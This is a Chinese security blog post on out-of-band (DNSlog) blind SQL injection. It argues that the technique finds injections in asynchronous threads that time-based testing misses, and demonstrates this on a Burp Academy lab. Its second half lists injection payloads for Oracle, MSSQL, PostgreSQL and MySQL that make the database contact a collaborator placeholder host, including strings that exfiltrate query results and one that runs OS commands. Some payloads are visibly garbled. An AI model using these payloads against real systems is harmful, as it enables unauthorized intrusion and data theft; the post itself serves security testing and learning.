认识不足
i. 在之前,我只知道OAST SQL注入这种技术,但是并不知道其的意义,甚至认为他有点鸡肋(例如在mysql中:1. 需要使用 load_file() 函数,所以一般得是 root 权限,权限要求较高 2. 需要数据库服务器出网...)
ii. 同时,在之前,我认为时间盲注是可以注入全部的存在sql注入的网站的,至少对于判断sql注入来说应该是万能的,因为无论有没有回显都会执行,但是我忘记考虑了多线程/协程的情况,一直在用单线程的思维去进行思考,当其为多线程的时候,时间盲注可能是无法注入的,但是这时候dnslog是可以实现的,至少判断sql注入是没有问题的!
OAST SQL盲注 具体方式
这个内容网上有很多公开的文章,我就不多说了,基本的原理就是:构造一个sql注入语句,通过数据库中的函数,去对dnslog服务器进行请求,当sql注入语句被执行了,也就意味着会对dnslog服务器进行请求,通过dnslog的回显,就可以实现对sql注入的判断,存在则dnslog会进行显示,不存在(也有可能存在,但是不出网)dnslog则不会进行显示...
利用dnslog进行sql盲注 - beiwo - 博客园[2]
SQL注入-DNSlog注入(手工加工具使用)_dnslog手动注入-CSDN博客[3]
背景
现在的网站越来越发达,大多数网站基本都会使用协程,异步的方式进行多个任务的查询,当一个请求会进行多个任务的时候,他可能就会采用协程,或者多线程的异步方式,同时运行着几个任务,例如:我们发送了一个登录请求,但是后端不仅会检验我们登录是否成功(任务1),同时也会对我们的ua等数据进行记录(任务2),如果使用单线程,我们就需要等到两个任务都进行完毕,才会返回结果,但是这不是我们用户想要的,正常我们应该得到的了成功的登录结果,就进行返回,也就是任务1的结果,使用单线程会导致不必要的等待时间,所以这时候使用多线程,另启动一个线程去执行ua的记录功能,而我们正常登录就只需要等待任务1得到结果即可返回
单线程
多线程
这里就是最大的问题,我认为普通的时间盲注只能判断当前线程,也就是任务1是否存在sql注入,如果任务2等异步的任务存在sql注入,是无法通过:时间,报错,堆叠等注入查询出来的,因为他是另一个线程,和当前的请求的响应没有直接关系,无论存不存在sql注入,我们获取到的响应的时间,响应的结果,都不会被影响。这时候就可以使用dnslog去完美的对他进行探测!!
案例
这一点在burpsuite中已经提出来了,我们可以通过burp的靶场进行实战的复现
情景介绍:当我们在访问网站发送数据包的时候后端会进行两个任务,一个是处理你的请求包,一个是跟踪收集 Cookie,根据Cookie中的参数 TrackingId 去查询是否是已知用户在操作。
What is Blind SQL Injection? Tutorial & Examples | Web Security Academy[4]
单线程非异步的情况
使用时间盲注进行测试
pg_sleep(10)-
多线程异步的情况
使用dnslog进行测试
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
dbms_pipe.receive_message(('a'),10)
时间上没有明显的变化
关于一些数据库dnslog的poc
BURP-COLLABORATOR-SUBDOMAIN 指的是Dnslog的域名
验证poc
Orcale
这个poc是利用了orcale的漏洞的,只有当Oracle存在这个漏洞的时候才有效果
SELECT EXTRACTVALUE(xmltype(' '),'/l') FROM dual
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoft
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQL
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
mysql
SELECT ... INTO OUTFILE '\\BURP-COLLABORATOR-SUBDOMAINa'
外带数据
Orcale
这个poc是利用了orcale的漏洞的,只有当Oracle存在这个漏洞的时候才有效果
SELECT EXTRACTVALUE(xmltype(' '),'/l') FROM dual
Microsoft
declare varchar(1024);set =(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+ +'.BURP-COLLABORATOR-SUBDOMAIN/a"')
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
PostgreSQL
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
mysql
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\BURP-COLLABORATOR-SUBDOMAINa
原文始发于微信公众号(fkalis):【海外SRC赏金挖掘】OAST SQL盲注 (Dnslog) 真正的用法和意义,发掘无法使用时间盲注的注入点
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论